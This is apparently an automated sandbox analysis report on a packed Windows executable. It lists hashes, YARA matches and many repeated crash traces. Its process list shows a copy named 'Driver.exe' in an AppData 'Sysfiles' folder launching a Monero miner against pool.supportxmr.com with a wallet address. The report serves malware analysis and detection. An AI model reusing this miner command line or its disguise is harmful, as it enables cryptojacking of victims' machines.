Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 27, 2023, 7:35 a.m.	Oct. 27, 2023, 7:38 a.m.

Size	4.1MB
Type	PE32 executable (console) Intel 80386, for MS Windows
MD5	`0630254696658572f31b822013f00a6a`
SHA256	`4b881729396aae4d3e2db8717899acf7a07a0979075f633e83c2e397ba1d0498`
CRC32	`C95D4676`
ssdeep	`49152:e5ZyS3M73PwAERsyxudJziMv6nWPdofD4Oj03DC:e5ZyS3KwAERJxudJpd04n`
Yara	Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file Malicious_Packer_Zero - Malicious Packer PE_Header_Zero - PE File Signature IsPE32 - (no description) OS_Processor_Check_Zero - OS Processor Check

Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2856
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
3016
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2060
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
1540
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
296
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2176
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
724
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2668
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
1516
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
1488
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2360
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2704
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2924
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
1884
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8Aa4eUo7y4pY2AmYtKfjKgQGhbyotQR1TC8xFpA6YJXAKaLgVec7XCtWxvXxmKzFSP7J1CHPSoa2AgwX2yKQrpQmBaiii5r -p x -k -v=0 --donate-level=0 -t 1
2100

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.236.76.77	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.qrzav

One or more processes crashed (15 events)

Time & API	Arguments	Status
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
